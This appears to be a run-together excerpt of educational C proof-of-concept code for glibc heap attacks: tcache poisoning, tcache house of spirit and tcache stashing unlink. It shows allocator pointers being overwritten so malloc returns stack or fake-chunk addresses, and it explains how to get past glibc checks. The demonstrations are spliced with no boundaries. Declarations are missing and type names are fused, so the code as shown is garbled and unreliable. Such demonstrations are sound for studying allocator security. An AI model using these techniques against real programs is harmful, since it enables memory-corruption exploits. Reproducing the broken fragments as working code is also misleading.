printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n" "returning a pointer to an arbitrary location (in this case, the stack).\n" "The attack is very similar to fastbin corruption attack.\n"); printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");
size_t stack_var; printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);
printf("Freeing the buffers...\n"); free(a); free(b);
printf("Now the tcache list has [ %p -> %p ].\n", b, a); printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" "to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var); b[0] = (intptr_t)&stack_var; printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);
printf("1st malloc(128): %p\n", malloc(128)); printf("Now the tcache list has [ %p ].\n", &stack_var);
printf("This file demonstrates the house of spirit attack on tcache.\n"); printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n"); printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n"); printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");
printf("Ok. Let's start with the example!.\n\n");
printf("Calling malloc() once so that it sets up its memory.\n"); malloc(1);
printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); unsignedlonglong *a; //pointer that will be overwritten unsignedlonglong fake_chunks[10]; //fake chunk region
printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);
printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); fake_chunks[1] = 0x40; // this is the size
printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2];
printf("Freeing the overwritten pointer.\n"); free(a);
printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); void *b = malloc(0x30); printf("malloc(0x30): %p\n", b);
printf("This file demonstrates the stashing unlink attack on tcache.\n\n"); printf("This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n"); printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n"); printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n"); printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");
// stack_var emulate the fake_chunk we want to alloc to printf("Stack_var emulates the fake chunk we want to alloc to.\n\n"); printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");
stack_var[3] = (unsignedlong)(&stack_var[2]);
printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]); printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]); printf("Now we alloc 9 chunks with malloc.\n\n");
//now we malloc 9 chunks for(int i = 0;i < 9;i++){ chunk_lis[i] = (unsignedlong*)malloc(0x90); }
//put 7 chunks into tcache printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");
for(int i = 3;i < 9;i++){ free(chunk_lis[i]); }
printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");
//last tcache bin free(chunk_lis[1]); //now they are put into unsorted bin free(chunk_lis[0]); free(chunk_lis[2]);
//convert into small bin printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");
malloc(0xa0);// size > 0x90
//now 5 tcache bins printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");
malloc(0x90); malloc(0x90);
printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);
//trigger the attack printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");
calloc(1,0x90);
printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);
//malloc and return our fake chunk on stack target = malloc(0x90);
printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);